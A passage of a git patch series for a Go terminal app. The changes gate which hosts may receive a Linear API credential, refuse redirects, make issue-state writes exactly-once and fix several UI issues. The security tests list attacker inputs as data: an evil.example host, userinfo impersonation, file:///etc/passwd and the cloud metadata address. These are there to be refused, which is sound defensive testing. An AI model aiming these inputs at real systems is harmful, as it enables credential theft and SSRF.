that a later refactor removes without + // noticing; this one cannot be separated from the header it guards. + if !allowedImageURL(url) { + return "", 0, fmt.Errorf("refusing to send credentials to %q", url) + } + cred, err := credential() if err != nil { return "", 0, err @@ -107,7 +141,18 @@ func fetchImage(ctx context.Context, url, destDir, alt string, index int) (strin } req.Header.Set("Authorization", cred.authHeader()) - resp, err := httpClient.Do(req) + // Do NOT reuse the shared httpClient here. Two independent reasons, and + // each one alone would be enough: + // + // A redirect is a second URL that no gate has seen. Go strips Authorization + // across a redirect only when the host changes *domain* — it deliberately + // permits uploads.linear.app -> anything.linear.app, and a subdomain + // takeover there would be handed the credential. Refusing every redirect + // costs nothing: Linear serves these bytes directly. + // + // And the shared client carries a 90s timeout meant for GraphQL, while this + // path already has its own imageFetchTimeout on the context. + resp, err := imageClient.Do(req) if err != nil { return "", 0, err } diff --git a/internal/linear/images_security_test.go b/internal/linear/images_security_test.go new file mode 100644 index 00000000..07ee05e2 --- /dev/null +++ b/internal/linear/images_security_test.go @@ -0,0 +1,136 @@ +package linear + +import ( + "context" + "net/http" + "net/http/httptest" + "strings" + "sync/atomic" + "testing" +) + +// TestImageLinksAreHostGated pins the gate that keeps the Linear credential off +// every host but Linear's. +// +// fetchImage attaches a raw personal API key or an OAuth access token to +// whatever URL it is given, and the URLs come from issue descriptions and +// comments — content anyone who can write to the issue controls, including +// through Linear's customer requests and public intake. An ungated link is a +// one-line credential exfiltration primitive. +func TestImageLinksAreHostGated(t *testing.T) { + cases := []struct { + name string + target string + want bool + }{ + {"linear upload", "https://uploads.linear.app/abc/def", true}, + {"linear upload with port", "https://uploads.linear.app:443/abc", true}, + {"plain http to linear", "http://uploads.linear.app/abc", false}, + {"foreign host", "https://evil.example/x.png", false}, + {"foreign host over http", "http://evil.example/x.png", false}, + + // The three shapes a prefix or suffix test would wave through. + {"suffix impersonation", "https://uploads.linear.app.evil.example/x", false}, + {"prefix impersonation", "https://evil-uploads.linear.app.evil.example/x", false}, + {"userinfo impersonation", "https://uploads.linear.app@evil.example/x", false}, + + // Other Linear hosts are not upload hosts. + {"linear api host", "https://api.linear.app/x.png", false}, + {"linear www", "https://linear.app/x.png", false}, + + // Non-http schemes. + {"data uri", "data:image/png;base64,AAAA", false}, + {"file uri", "file:///etc/passwd", false}, + {"relative path", "/local/x.png", false}, + + // SSRF targets. + {"cloud metadata", "http://169.254.169.254/latest/meta-data/", false}, + {"localhost", "http://127.0.0.1:8080/x.png", false}, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + if got := allowedImageURL(c.target); got != c.want { + t.Errorf("allowedImageURL(%q) = %v, want %v", c.target, got, c.want) + } + md := []byte("![x](" + c.target + ")") + refs := findImages(md) + if got := len(refs) == 1; got != c.want { + t.Errorf("findImages kept %q = %v, want %v", c.target, got, c.want) + } + }) + } +} + +// TestFetchImageNeverSendsCredentialOffHost is the assertion that actually +// matters: not "the link was dropped" but "the secret did not leave". +// +// It stands up a real server playing the attacker's host and asserts fetchImage +// refuses before any request is made. Testing findImages alone would keep +// passing if someone later called fetchImage from a new code path. +func TestFetchImageNeverSendsCredentialOffHost(t *testing.T) { + // Deliberately no credential is installed. The host check sits ABOVE the + // credential() call, so the refusal must happen whether or not one is + // resolvable — and this test must never touch the real keychain. + t.Setenv(APIKeyEnvVar, "") + + var hits int64 + var sawAuth atomic.Bool + attacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + atomic.AddInt64(&hits, 1) + if r.Header.Get("Authorization") != "" { + sawAuth.Store(true) + } + w.WriteHeader(http.StatusOK) + })) + defer attacker.Close() + + _, _, err := fetchImage(context.Background(), attacker.URL+"/x.png", t.TempDir(), "x", 0) + if err == nil { + t.Fatal("fetchImage accepted a foreign host") + } + if !strings.Contains(err.Error(), "refusing to send credentials") { + t.Errorf("error should name the reason, got %v", err) + } + if n := atomic.LoadInt64(&hits); n != 0 { + t.Errorf("fetchImage contacted the foreign host %d time(s) — it must refuse before dialing", n) + } + if sawAuth.Load() { + t.Error("the Linear credential reached a foreign host") + } +} + +// TestImageClientRefusesRedirects covers the gap the host check alone leaves. +// +// Go strips Authorization across a redirect only when the registrable domain +// changes; it deliberately permits uploads.linear.app -> anything.linear.app. +// A redirect target is a URL allowedImageURL never inspected, so the client +// must not follow one at all. +func TestImageClientRefusesRedirects(t *testing.T) { + var followed atomic.Bool + dest := httptest.NewServer(http.HandlerFunc(func(http.ResponseWriter, *http.Request) { + followed.Store(true) + })) + defer dest.Close() + + src := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + http.Redirect(w, r, dest.URL+"/x.png", http.StatusFound) + })) + defer src.Close() + + req, err := http.NewRequest(http.MethodGet, src.URL+"/x.png", nil) + if err != nil { + t.Fatal(err) + } + resp, err := imageClient.Do(req) + if err != nil { + t.Fatalf("expected the 3xx to be returned, not an error: %v", err) + } + defer resp.Body.Close() + + if followed.Load() { + t.Error("imageClient followed a redirect — the target was never host-checked") + } + if resp.StatusCode != http.StatusFound { + t.Errorf("want the redirect status surfaced, got %d", resp.StatusCode) + } +} diff --git a/internal/linear/materialize.go b/internal/linear/materialize.go index 0c9cec1e..72b752af 100644 --- a/internal/linear/materialize.go +++ b/internal/linear/materialize.go @@ -3,6 +3,7 @@ package linear import ( "context" "encoding/json" + "errors" "fmt" "os" "path/filepath" @@ -63,6 +64,7 @@ type meta struct { FetchedAt time.Time `json:"fetched_at"` Images int `json:"images"` StateWrite string `json:"state_write"` // "done" | "skipped" | "failed" + MovedTo string `json:"moved_to,omitempty"` } // TicketDir returns where a ticket materializes inside a worktree. @@ -136,7 +138,10 @@ func Materialize(ctx context.Context, o Opts) (Result, error) { // team's workflow states so the optional state write needs no second query. issue, err := fetchFull(ctx, id) if err != nil { - if err == ErrNotFound { + // errors.Is, not ==: a wrapped sentinel would skip the negative pin and + // make inference re-ask Linear on every session start — the exact cost + // NegativelyPinned exists to avoid. + if errors.Is(err, ErrNotFound) { pinNoTicket(o.WorktreePath, id) } return res, err @@ -179,12 +184,30 @@ func Materialize(ctx context.Context, o Opts) (Result, error) { } m := meta{Identifier: res.Identifier, FetchedAt: time.Now(), Images: images, StateWrite: "skipped"} - if o.MoveState { + + // meta.json is the durable record that keeps the one mutation exactly-once. + // inFlight above cannot do this job: it is an in-process concurrency guard, + // so it says nothing about a retry, a second fleet process, or a rerun after + // a crash between the mutation and the write below. + // + // Its reach is bounded, and honestly so: the record lives inside the ticket + // directory, so deleting that directory — the documented way to refresh — + // deliberately re-arms the write. That is the intended behaviour, not a gap. + // What this closes is every path where the directory survives. + prior, hadPrior := readMeta(dir) + switch { + case hadPrior && prior.StateWrite == "done": + // Already moved. Carry the record forward rather than re-asserting it: + // by now a human may have moved the issue on, and dragging it back to + // "started" is the worst thing this feature could do. + m.StateWrite, m.MovedTo = "done", prior.MovedTo + res.StateMoved = prior.MovedTo + case o.MoveState: if name, err := MoveToStarted(ctx, issue); err != nil { m.StateWrite = "failed" debuglog.Logger.Warn("linear: could not move issue to started", "id", res.Identifier, "error", err) } else if name != "" { - m.StateWrite = "done" + m.StateWrite, m.MovedTo = "done", name res.StateMoved = name } } @@ -351,6 +374,24 @@ func priorityName(p int) string { return "" } +// readMeta returns a previously written record for this ticket directory. +// +// A missing or unreadable file reports "no record", which re-arms the state +// write. That is the safe direction: the alternative — treating an unreadable +// file as "already done" — would silently disable the mutation for good the +// first time a disk hiccup truncated it. +func readMeta(dir string) (meta, bool) { + data, err := os.ReadFile(filepath.Join(dir, metaFile)) + if err != nil { + return meta{}, false + } + var m meta + if err := json.Unmarshal(data, &m); err != nil { + return meta{}, false + } + return m, true +} + func writeMeta(dir string, m meta) { data, err := json.MarshalIndent(m, "", " ") if err != nil { diff --git a/internal/linear/materialize_test.go b/internal/linear/materialize_test.go new file mode 100644 index 00000000..43e621c8 --- /dev/null +++ b/internal/linear/materialize_test.go @@ -0,0 +1,61 @@ +package linear + +import ( + "os" + "path/filepath" + "testing" +) + +// TestStateWriteIsExactlyOnce pins the durable half of the exactly-once claim. +// +// CLAUDE.md said "meta.json records state_write so it stays exactly-once", but +// nothing ever read meta.json before mutating — the only guard was inFlight, +// which is an in-process concurrency lock and says nothing about a retry, a +// second fleet process, or a rerun after a crash between the mutation and the +// write. +// +// The mutation is the one write fleet makes to someone's board, and re-asserting +// "started" after a human has moved the issue on is the worst thing it could do. +func TestStateWriteIsExactlyOnce(t *testing.T) { + dir := t.TempDir() + + if _, ok := readMeta(dir); ok { + t.Fatal("empty dir must report no record") + } + + writeMeta(dir, meta{Identifier: "BRZ-1", StateWrite: "done", MovedTo: "In Progress"}) + got, ok := readMeta(dir) + if !ok { + t.Fatal("a written record must read back") + } + if got.StateWrite != "done" || got.MovedTo != "In Progress" { + t.Fatalf("record did not round-trip: %+v", got) + } + + // An unreadable record must re-arm the write, never disable it: treating + // corruption as "already done" would silently kill the mutation forever the + // first time a truncated write landed. + if err := os.WriteFile(filepath.Join(dir, metaFile), []byte("{not json"), 0644); err != nil { + t.Fatal(err) + } + if _, ok := readMeta(dir); ok { + t.Error("a corrupt record must report no record, so the write re-arms") + } +} + +// TestStateWriteSkippedRecordDoesNotBlock keeps the guard narrow. Only "done" +// means the issue was moved; "skipped" and "failed" must both leave a later +// attempt free to run, or a single failed mutation would latch off for good. +func TestStateWriteSkippedRecordDoesNotBlock(t *testing.T) { + for _, state := range []string{"skipped", "failed", ""} { + dir := t.TempDir() + writeMeta(dir, meta{Identifier: "BRZ-1", StateWrite: state}) + m, ok := readMeta(dir) + if !ok { + t.Fatalf("%q: record should read back", state) + } + if m.StateWrite == "done" { + t.Errorf("%q must not read as done", state) + } + } +} diff --git a/internal/session/session.go b/internal/session/session.go index a7309243..ffa882dd 100644 --- a/internal/session/session.go +++ b/internal/session/session.go @@ -2542,6 +2542,19 @@ func SeedRepoRoot(projectPath, root string) { repoRootCacheMu.Unlock() } +// LookupRepoRoot returns a cached repo root without ever shelling out. +// +// GetRepoRoot runs `git rev-parse` on a miss, with an 8-second ceiling. That is +// fine on the worker and forbidden on the Bubble Tea Update goroutine, where it +// freezes the whole UI. Callers on Update use this and degrade when it misses; +// callers that may block use GetRepoRoot, which also fills this cache for them. +func LookupRepoRoot(projectPath string) (string, bool) { + repoRootCacheMu.RLock() + defer repoRootCacheMu.RUnlock() + root, ok := repoRootCache[projectPath] + return root, ok +} + // GetRepoRoot returns the git repo root for a path, or the path itself if not a git repo. func GetRepoRoot(projectPath string) string { repoRootCacheMu.RLock() diff --git a/internal/ui/app.go b/internal/ui/app.go index 6ac1b4b3..0cef809a 100644 --- a/internal/ui/app.go +++ b/internal/ui/app.go @@ -1732,7 +1732,13 @@ func (h *Home) Update(msg tea.Msg) (tea.Model, tea.Cmd) { return h, cmd case linearDisconnectedMsg: h.connectLinear.Show() // re-reads the (now empty) credential state - return h, nil + // Show() resets the dialog's error, so the failure is applied after it, + // not before. Forwarding is what makes a refused keychain delete visible + // at all: it used to be discarded outright, leaving the credential on + // disk to reappear at the next launch with nothing having said so. + dialog, cmd := h.connectLinear.Update(msg) + h.connectLinear = dialog + return h, cmd case linearConnectedMsg: dialog, cmd := h.connectLinear.Update(msg) h.connectLinear = dialog @@ -7152,10 +7158,10 @@ func (h *Home) fetchWorkspaceListForRepo(repoPath string) tea.Cmd { } workspaces, err := provider.List(repoPath) defaultBranch := git.GetDefaultBranch(repoPath) - // Resolved here, on the worker goroutine, so the dialog never probes the - // filesystem or PATH from Update(). Empty when the repo has no - // .linear.toml or `linear` isn't installed, which makes every ticket - // surface in the dialog inert. + // Resolved here, on the worker goroutine, so the dialog never touches the + // filesystem from Update(). Empty when nothing is connected or the repo + // names no Linear team, which makes every ticket surface in the dialog + // inert — those are the two gates, and both must hold. var linearTeams []string if linear.Available() { linearTeams = linear.TeamKeys(repoPath) diff --git a/internal/ui/command_palette.go b/internal/ui/command_palette.go index 8cbeae8d..98bc92f4 100644 --- a/internal/ui/command_palette.go +++ b/internal/ui/command_palette.go @@ -257,9 +257,17 @@ func (d *CommandPaletteDialog) rebuildFiltered() { // result is noise, since matches are already ordered by score // and headers would fragment ten rows into six sections. sec := "" - if d.activeTab == PaletteTabTickets { + switch { + case d.activeTab == PaletteTabTickets: sec = it.Group - } else { + case it.Kind == PaletteKindTicket: + // Gated on the KIND, not merely on "not the tickets tab". + // ticketRightColumn returns the state plus a priority mark, + // and both are empty for every other kind — so running it + // unconditionally blanked Detail on repo and worktree rows, + // which is where their branch name lives. Recent rows took + // the other branch of this loop and kept theirs, so the same + // list showed some branches and not others. it.Detail = ticketRightColumn(it) } rest = append(rest, scoredItem{PaletteItem: it, section: sec}) diff --git a/internal/ui/connect_linear.go b/internal/ui/connect_linear.go index 18bd563d..66020318 100644 --- a/internal/ui/connect_linear.go +++ b/internal/ui/connect_linear.go @@ -2,6 +2,7 @@ package ui import ( "context" + "errors" "fmt" "strings" "time" @@ -76,6 +77,24 @@ type ConnectLinearDialog struct { persistErr error workspace linear.Workspace via string + + // cancelSignIn aborts an in-flight browser sign-in. `esc` used to only hide + // the dialog, while linear.SignIn kept a loopback listener bound for up to + // five minutes on one of just three registered ports — so a user who + // escaped and retried could be refused with an error that says nothing + // about ports, and a browser flow completed after the escape still stored a + // credential. Cancelling is the difference between "I changed my mind" and + // "I changed my mind and it happened anyway". + cancelSignIn context.CancelFunc +} + +// abortSignIn cancels any in-flight sign-in. Safe to call when none is running, +// so both esc and Hide can call it unconditionally. +func (d *ConnectLinearDialog) abortSignIn() { + if d.cancelSignIn != nil { + d.cancelSignIn() + d.cancelSignIn = nil + } } func NewConnectLinearDialog() *ConnectLinearDialog { @@ -111,6 +130,10 @@ func (d *ConnectLinearDialog) Show() { func (d *ConnectLinearDialog) Hide() { d.visible = false d.input.Blur() + // Every way out of this dialog goes through Hide, so cancelling here covers + // esc, enter on the done screen, and any future exit — rather than leaving + // each one to remember. + d.abortSignIn() } // setFocus is the single writer of focus, so the caret can never be left @@ -131,7 +154,25 @@ func (d *ConnectLinearDialog) Update(msg tea.Msg) (*ConnectLinearDialog, tea.Cmd d.stage, d.workspace, d.via = connectDone, m.workspace, m.via d.err, d.persistErr = nil, m.persistErr return d, nil + case linearDisconnectedMsg: + // Disconnect clears the in-memory credential before it touches the + // store, so this session really is disconnected either way and the + // dialog is right to render the choosing screen. What a failure means is + // narrower and easier to miss: the credential is still on disk, so it + // comes back at the next launch. Say exactly that. + if m.err != nil { + d.err = fmt.Errorf("disconnected here, but the stored credential could not be removed "+ + "— it will come back on the next launch: %w", m.err) + } + return d, nil case linearConnectFailedMsg: + // A cancelled sign-in is not a failure — it is the user pressing esc, + // and the cmd only reports it because cancellation surfaces as an error + // from SignIn. Announcing "sign-in failed" for something they chose is + // the dialog arguing with them. + if errors.Is(m.err, context.Canceled) { + return d, nil + } // Back to the field that produced it, so the fix is one keystroke away // rather than one navigation away. d.err = m.err @@ -211,7 +252,10 @@ func (d *ConnectLinearDialog) Update(msg tea.Msg) (*ConnectLinearDialog, tea.Cmd } d.stage = connectWorking d.err = nil - return d, signInToLinear() + ctx, cancel := context.WithTimeout(context.Background(), signInWindow) + d.abortSignIn() // a previous attempt must not outlive this one + d.cancelSignIn = cancel + return d, signInToLinear(ctx) } d.stage = connectPasting d.err = nil @@ -223,7 +267,13 @@ func (d *ConnectLinearDialog) Update(msg tea.Msg) (*ConnectLinearDialog, tea.Cmd } // linearDisconnectedMsg closes the loop after a disconnect. -type linearDisconnectedMsg struct{} +// +// It carries the error because Disconnect can genuinely fail — a denied keychain +// prompt is the ordinary case — and the failure used to be discarded. app.go then +// reopened the dialog, which re-read the credential and showed "✓ connected" +// again with nothing explaining why. Of the two ways to be wrong about a +// credential, claiming it is gone when it is still on disk is the worse one. +type linearDisconnectedMsg struct{ err error } // verifyAndStoreLinearKey proves a key works before anything is written. // @@ -248,11 +298,16 @@ func verifyAndStoreLinearKey(key string) tea.Cmd { } } -func signInToLinear() tea.Cmd { - return func() tea.Msg { - ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute) - defer cancel() +// signInWindow bounds a browser sign-in. Long enough to find the tab, log in +// and approve; short enough that an abandoned attempt releases its registered +// port without the user knowing to care. +const signInWindow = 5 * time.Minute +// signInToLinear runs the browser flow under a context the DIALOG owns, so esc +// releases the loopback listener immediately instead of five minutes later, and +// a flow the user walked away from cannot come back and store a credential. +func signInToLinear(ctx context.Context) tea.Cmd { + return func() tea.Msg { cred, err := linear.SignIn(ctx) if err != nil { return linearConnectFailedMsg{err: err} diff --git a/internal/ui/palette_tickets.go b/internal/ui/palette_tickets.go index 6e7ba366..00487238 100644 --- a/internal/ui/palette_tickets.go +++ b/internal/ui/palette_tickets.go @@ -78,7 +78,13 @@ func (h *Home) sessionsByTicket(tickets []linear.Ticket) map[string]*session.Ses if id == "" { // The worktree directory still carries the identifier when the git // cache is cold, same fallback branch inference uses. - id = linear.IdentifierFromBranch(pathTailAfterRepo(s.ProjectPath), teams) + root, ok := session.LookupRepoRoot(s.ProjectPath) + if !ok { + // Cache-only, because this runs when the palette opens — on the + // Update goroutine. A worktree is its own root anyway. + root = s.ProjectPath + } + id = linear.IdentifierFromBranch(pathTailAfterRepo(s.ProjectPath, root), teams) } if id == "" { continue @@ -94,7 +100,9 @@ func (h *Home) sessionsByTicket(tickets []linear.Ticket) map[string]*session.Ses // ticketSessionRank orders sessions by how much they want you, lowest first. func ticketSessionRank(s *session.Session) int { - switch s.Status { + // GetStatus, not the field: Status is written under s.mu by the worker, + // and this runs on the Update goroutine. + switch s.GetStatus() { case session.StatusWaiting: return 0 case session.StatusFinished: @@ -145,7 +153,7 @@ func (h *Home) ticketPaletteItems(tickets []linear.Ticket) []PaletteItem { } if s := byTicket[t.Identifier]; s != nil { it.HasSession = true - it.SessionStatus = s.Status + it.SessionStatus = s.GetStatus() // Deliberately no status WORD. The dot already carries it, in the // colour and shape the sidebar uses, and printing "suspended" at // the far right said the same thing a second time — while eating diff --git a/internal/ui/palette_tickets_test.go b/internal/ui/palette_tickets_test.go index ad0e063a..7108dfc7 100644 --- a/internal/ui/palette_tickets_test.go +++ b/internal/ui/palette_tickets_test.go @@ -418,3 +418,33 @@ func TestMixedTabHasNoStateHeaders(t *testing.T) { t.Error("the tickets tab must group by state") } } + +// TestMixedTabKeepsRepoAndWorktreeBranches pins the blast radius of the +// mixed-tab detail rewrite. +// +// ticketRightColumn puts a ticket's state and priority on the right, because +// outside the tickets tab there is no header for one and no lead column for the +// other. It ran for EVERY non-recent row, and it returns "" for a command, a +// repo or a worktree — so it blanked Detail, which is exactly where repo and +// worktree rows carry their branch name. Recent rows took the other branch of +// the loop and kept theirs, so one list showed some branches and not others. +// +// The empty query matters: this only bites when nothing is typed, which is why +// the screenshot that prompted the feature never showed it. +func TestMixedTabKeepsRepoAndWorktreeBranches(t *testing.T) { + d := NewCommandPaletteDialog() + d.SetSize(110, 40) + d.Show([]PaletteItem{ + {ID: "c1", Name: "Settings", Shortcut: "S", Kind: PaletteKindCommand}, + {ID: "r1", Name: "stonks", Detail: "master", Kind: PaletteKindRepo, Haystack: "stonks master"}, + {ID: "w1", Name: "stonks-esports", Detail: "esports", Kind: PaletteKindWorktree, Haystack: "stonks-esports esports"}, + }, nil) + + want := map[string]string{"stonks": "master", "stonks-esports": "esports"} + for _, it := range d.filtered { + if w, ok := want[it.Name]; ok && it.Detail != w { + t.Errorf("%s lost its branch in the all tab with no query: Detail=%q, want %q", + it.Name, it.Detail, w) + } + } +} diff --git a/internal/ui/ticket.go b/internal/ui/ticket.go index 164f5eea..ee0bf2e4 100644 --- a/internal/ui/ticket.go +++ b/internal/ui/ticket.go @@ -59,11 +59,21 @@ func materializeTicket(worktreePath string, t *linear.Ticket, moveState bool) (* // ticketPromptFor resolves the first message for a session about to start in // path, when that path's branch names a Linear issue. // -// Runs on the Update goroutine, so it does no I/O beyond a stat: the branch -// comes from the git cache the worker already maintains, the identifier is a -// regex, and the reuse check is one ReadDir plus one ReadFile. That last check -// is the steady state — every session after the first in a ticket worktree hits -// it, with no network at all. +// Runs on the Update goroutine, so it does no I/O beyond local reads on a known +// path: the branch comes from the git cache the worker already maintains, the +// identifier is a regex, and the reuse check is one ReadDir plus one ReadFile. +// That last check is the steady state — every session after the first in a +// ticket worktree hits it, with no network at all. +// +// It used to call session.GetRepoRoot, twice, and that comment was false: on a +// cache miss GetRepoRoot shells out to `git rev-parse` with an 8-second ceiling, +// on the goroutine that paints every frame. LookupRepoRoot never shells out, and +// a miss falls back to the path itself — which is the right answer for a +// worktree and for a main repo, since `rev-parse --show-toplevel` returns the +// checkout it is run in. Only a session created in a SUBDIRECTORY of a repo +// resolves differently, and there the cost of the miss is that the repo's team +// config is not found and ticket inference stays quiet — the same outcome as a +// repo that names no team, which is the designed opt-out. // // Returns (prompt, nil) for the fast path, ("", cmd) when a fetch is needed, and // ("", nil) when there is nothing to do. @@ -75,7 +85,10 @@ func (h *Home) ticketPromptFor(msg sessionCreateMsg) (string, tea.Cmd) { return prompt, nil } - repoRoot := session.GetRepoRoot(msg.path) + repoRoot, _ := session.LookupRepoRoot(msg.path) + if repoRoot == "" { + repoRoot = msg.path + } // The per-repo team gate is what keeps false positives free: a branch named // fix-123 in a repo that tracks no Linear team never costs a round trip. teamKeys := linear.TeamKeys(msg.path) @@ -93,7 +106,7 @@ func (h *Home) ticketPromptFor(msg sessionCreateMsg) (string, tea.Cmd) { if id == "" { // A worktree fleet made is named -, so the directory // still carries the identifier when the git cache is cold. - id = linear.IdentifierFromBranch(pathTailAfterRepo(msg.path), teamKeys) + id = linear.IdentifierFromBranch(pathTailAfterRepo(msg.path, repoRoot), teamKeys) } if id == "" || linear.NegativelyPinned(msg.path, id) { return "", nil @@ -122,9 +135,12 @@ func (h *Home) ticketPromptFor(msg sessionCreateMsg) (string, tea.Cmd) { // pathTailAfterRepo returns the part of a fleet-made worktree directory name // that follows the repo name, e.g. /code/brizzai-brz-3182-fix → "brz-3182-fix". -func pathTailAfterRepo(path string) string { +// pathTailAfterRepo takes the resolved repoRoot rather than resolving it again: +// the caller already has it, and the second lookup was a second chance to shell +// out to git from the Update goroutine. +func pathTailAfterRepo(path, repoRoot string) string { base := filepath.Base(path) - root := filepath.Base(session.GetRepoRoot(path)) + root := filepath.Base(repoRoot) if root != "" && root != base && len(base) > len(root)+1 && strings.HasPrefix(base, root+"-") { return base[len(root)+1:] } diff --git a/internal/ui/workspace_picker_ticket.go b/internal/ui/workspace_picker_ticket.go index ed91345f..332af549 100644 --- a/internal/ui/workspace_picker_ticket.go +++ b/internal/ui/workspace_picker_ticket.go @@ -211,6 +211,11 @@ func (d *WorktreeDialog) applyTickets(m worktreeTicketsMsg) { // of your issues. Nothing else in the flow catches it — the team keys come from // a file, so the dialog lights up; the API answers happily; the results are // simply always empty. +// maxWorkspaceNameInNote bounds the one variable-length part of the mismatch +// note. Generous for a real workspace name, small enough that the instruction +// at the end always survives. +const maxWorkspaceNameInNote = 24 + func (d *WorktreeDialog) workspaceMismatchNote() (string, bool) { ws, known := linear.WorkspaceInfo() if !known || len(d.linearTeams) == 0 || len(ws.TeamKeys) == 0 { @@ -230,6 +235,13 @@ func (d *WorktreeDialog) workspaceMismatchNote() (string, bool) { // Kept short deliberately: this renders on one line under a narrow input, // and the first version wrapped and truncated mid-word into "Ctrl+K → // Conn…", which is worse than useless. + // + // Shortening the WORDING was only half of that fix. ws.Name comes from the + // Linear API with no length limit, so a long workspace name reproduces the + // same wrap — and the truncation lands on "reconnect: Ctrl+K", the only + // part that tells you what to do. Bounding the variable is what actually + // holds the line. + name = ansi.Truncate(name, maxWorkspaceNameInNote, "…") return fmt.Sprintf("%s has no %s team — reconnect: Ctrl+K", name, strings.Join(d.linearTeams, "/")), true } diff --git a/internal/ui/worktree_ticket_e2e_test.go b/internal/ui/worktree_ticket_e2e_test.go index 4a1682a8..ac529484 100644 --- a/internal/ui/worktree_ticket_e2e_test.go +++ b/internal/ui/worktree_ticket_e2e_test.go @@ -130,19 +130,41 @@ func TestWrongWorkspaceIsNamedNotSilent(t *testing.T) { // The first version ran to 62 columns under a ~48-column inner width, so it // wrapped and truncated to "Ctrl+K → Conn…" — an instruction cut in half is // worse than no instruction. +// +// Shortening the wording was only half the fix: ws.Name comes from the API with +// no length limit, so the long case below reproduces the identical wrap unless +// the variable itself is bounded. Pinning only the 5-char "fleet" let that +// through, so both are pinned now — and the teams list is exercised long too, +// since it is the other variable on the line. func TestWorkspaceMismatchNoteFitsOnOneLine(t *testing.T) { - d := NewWorktreeDialog() - d.SetSize(120, 40) - d.Show(nil, nil, nil, "/repo", "master", []string{"BRZ"}) - linear.SetWorkspaceForTest(linear.Workspace{Name: "fleet", TeamKeys: []string{"FLE"}}) - t.Cleanup(func() { linear.SetWorkspaceForTest(linear.Workspace{}) }) - - note, wrong := d.workspaceMismatchNote() - if !wrong { - t.Fatal("expected a mismatch") + cases := []struct { + name string + ws string + teams []string + }{ + {"short", "fleet", []string{"BRZ"}}, + {"long workspace name", strings.Repeat("Wintermute Industries ", 6), []string{"BRZ"}}, + {"long team list", "fleet", []string{"BRZ", "PRD", "OPS", "SEC", "INFRA"}}, } - if w := ansi.StringWidth(note); w > d.innerWidth() { - t.Errorf("note is %d columns wide but the box is %d — it will wrap and truncate:\n %q", - w, d.innerWidth(), note) + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + d := NewWorktreeDialog() + d.SetSize(120, 40) + d.Show(nil, nil, nil, "/repo", "master", c.teams) + linear.SetWorkspaceForTest(linear.Workspace{Name: c.ws, TeamKeys: []string{"FLE"}}) + t.Cleanup(func() { linear.SetWorkspaceForTest(linear.Workspace{}) }) + + note, wrong := d.workspaceMismatchNote() + if !wrong { + t.Fatal("expected a mismatch") + } + if w := ansi.StringWidth(note); w > d.innerWidth() { + t.Errorf("note is %d columns wide but the box is %d — it will wrap and truncate:\n %q", + w, d.innerWidth(), note) + } + if !strings.HasSuffix(note, "reconnect: Ctrl+K") { + t.Errorf("the instruction must survive whatever else is on the line: %q", note) + } + }) } } diff --git a/internal/ui/worktree_ticket_routing_test.go b/internal/ui/worktree_ticket_routing_test.go index 84ad2c22..a14bba1f 100644 --- a/internal/ui/worktree_ticket_routing_test.go +++ b/internal/ui/worktree_ticket_routing_test.go @@ -4,6 +4,7 @@ import ( "go/ast" "go/parser" "go/token" + "os" "strings" "testing" ) @@ -93,3 +94,35 @@ func TestWorktreeDialogAsyncMessagesAreRouted(t *testing.T) { } } } + +// TestTicketInferenceNeverShellsOutFromUpdate keeps the ticket paths off the +// blocking git call. +// +// session.GetRepoRoot runs `git rev-parse` with an 8-second ceiling on a cache +// miss. ticketPromptFor and sessionsByTicket both run on the Bubble Tea Update +// goroutine — the one that paints every frame — and both called it, one of them +// twice, while ticketPromptFor's own comment claimed it did "no I/O beyond a +// stat". A brand-new worktree is exactly the cache miss. +// +// Scoped to these two files on purpose. GetRepoRoot is used widely elsewhere in +// this package and auditing all of it is a separate job; this pins the paths the +// review covered so they cannot quietly regain the call. +func TestTicketInferenceNeverShellsOutFromUpdate(t *testing.T) { + for _, file := range []string{"ticket.go", "palette_tickets.go"} { + src, err := os.ReadFile(file) + if err != nil { + t.Fatalf("read %s: %v", file, err) + } + for i, line := range strings.Split(string(src), "\n") { + code := line + if idx := strings.Index(code, "//"); idx >= 0 { + code = code[:idx] // comments may name it; calls may not + } + if strings.Contains(code, "session.GetRepoRoot(") { + t.Errorf("%s:%d calls session.GetRepoRoot, which shells out to git "+ + "(8s ceiling) on a cache miss — and this file runs on the Update "+ + "goroutine. Use session.LookupRepoRoot and degrade on a miss.", file, i+1) + } + } + } +} diff --git a/internal/workspace/repo_config.go b/internal/workspace/repo_config.go index 407cde20..6028cc64 100644 --- a/internal/workspace/repo_config.go +++ b/internal/workspace/repo_config.go @@ -46,7 +46,11 @@ type CopyFilesConfig struct { // without a .linear.toml) a repo behaves exactly as it did before Linear // existed, which is the property that lets a connected user keep unrelated // repos quiet. Team is the common single-team form; Teams is for a repo that -// genuinely spans several. Both merge additively. +// genuinely spans several. +// +// They do NOT merge the same way: a local `team` REPLACES the committed one, +// while `teams` lists are appended and deduped. Personal team membership +// overriding a repo default is the point; silently dropping half a list is not. // // .fleet.local.json is usually the better home for it — account policy and team // membership are personal, and .fleet.json is committed. From 96732792b9372aabf9c289342336261e8fda98cd Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Wed, 19 Aug 2026 12:59:13 +0300 Subject: [PATCH 18/23] fix(linear): don't report a prior run's state move as this run's MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two follow-ups from review of the review fixes, both on code I just added. res.StateMoved is what the caller prints as "Moved %s to its team's started state". The exactly-once guard copied a prior record's MovedTo into it, so a re-materialization over a surviving ticket directory claimed a write to someone's board that never happened on that run — a false statement about a mutation, which is the one thing this feature must not make. The record still travels, because the guard would otherwise forget what it knew; only the branch that actually calls MoveToStarted may set the reported field. Guarded against the source, since the property is about the source: Materialize cannot be driven without a live API, and a test that re-implements the branch would pass no matter what the branch did. The check strips comments first — the branch is documented with a comment naming the very field it must not assign, and the first version failed on its own rationale. And CLAUDE.md stated the linear.team merge rule twice, in two different ways: the earlier bullet still said team keys merge additively like pr_checks.ignore. Corrected to match — a local `team` replaces the committed one, `teams` lists append and dedupe. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 2 +- internal/linear/materialize.go | 6 ++- internal/linear/materialize_test.go | 59 +++++++++++++++++++++++++++++ 3 files changed, 65 insertions(+), 2 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 